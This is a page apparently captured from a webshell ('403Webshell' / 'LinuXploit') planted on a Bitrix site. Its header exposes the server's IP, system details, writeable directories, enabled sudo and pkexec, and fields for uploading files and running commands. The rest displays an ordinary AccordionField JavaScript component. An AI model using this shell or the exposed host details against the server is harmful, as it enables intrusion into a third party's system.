403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/landing/ui/field/accordionfield/src/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/landing/ui/field/accordionfield/src/accordionfield.js
import 'ui.design-tokens';

import {BaseField} from 'landing.ui.field.basefield';
import {Dom, Tag, Text} from 'main.core';
import {SmallSwitch} from 'landing.ui.field.smallswitch';

import './css/style.css';

type AccordionItemOption = {
	id: string,
	title: string,
	icon: string,
	checked: boolean,
	switcher?: boolean,
	content?: string | HTMLElement
};

export class AccordionField extends BaseField
{
	constructor(options)
	{
		super(options);
		this.setEventNamespace('BX.Landing.UI.Field.AccordionField');
		Dom.addClass(this.layout, 'landing-ui-field-accordion');
		Dom.replace(this.input, this.getItemsContainer());

		this.items = [];

		options.items.forEach((itemOptions) => {
			this.addItem(itemOptions);
		});
	}

	getItemsContainer(): HTMLDivElement
	{
		return this.cache.remember('itemsContainer', () => {
			return Tag.render`
				<div class="landing-ui-field-accordion-items-container"></div>
			`;
		});
	}

	onTitleClick(event: MouseEvent)
	{
		event.preventDefault();

		const item = event.currentTarget.closest('.landing-ui-field-accordion-item');
		if (Dom.hasClass(item, 'landing-ui-field-accordion-item-active'))
		{
			Dom.toggleClass(item, 'landing-ui-field-accordion-item-opened');
		}
	}

	createItem(options: AccordionItemOption): HTMLDivElement
	{
		const switcher = new SmallSwitch({
			value: Text.toBoolean(options.checked),
			onValueChange: () => {
				const item = switcher.layout.closest('.landing-ui-field-accordion-item');

				if (switcher.getValue())
				{
					Dom.addClass(item, 'landing-ui-field-accordion-item-active');
				}
				else
				{
					Dom.removeClass(item, 'landing-ui-field-accordion-item-active');
					Dom.removeClass(item, 'landing-ui-field-accordion-item-opened');
				}
			},
		});

		return Tag.render`
			<div class="landing-ui-field-accordion-item landing-ui-field-accordion-item-active" data-id="${options.id}">
				<div class="landing-ui-field-accordion-item-header">
					<div class="landing-ui-field-accordion-item-header-icon" style="background-image: url(${options.icon})"></div>
					<div 
						class="landing-ui-field-accordion-item-header-title"
						onclick="${this.onTitleClick.bind(this)}"
					>${options.title}</div>
					<div 
						class="landing-ui-field-accordion-item-header-switch"
						style="${options.switcher === false ? 'display: none;' : ''}"
					>
						<div class="landing-ui-field-accordion-item-header-switch-link"></div>
						${switcher.layout}
					</div>
				</div>
				<div class="landing-ui-field-accordion-item-body">
					${options.content}
				</div>
			</div>
		`;
	}

	addItem(options: AccordionItemOption)
	{
		const renderedItem = this.createItem(options);

		Dom.append(renderedItem, this.getItemsContainer());
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit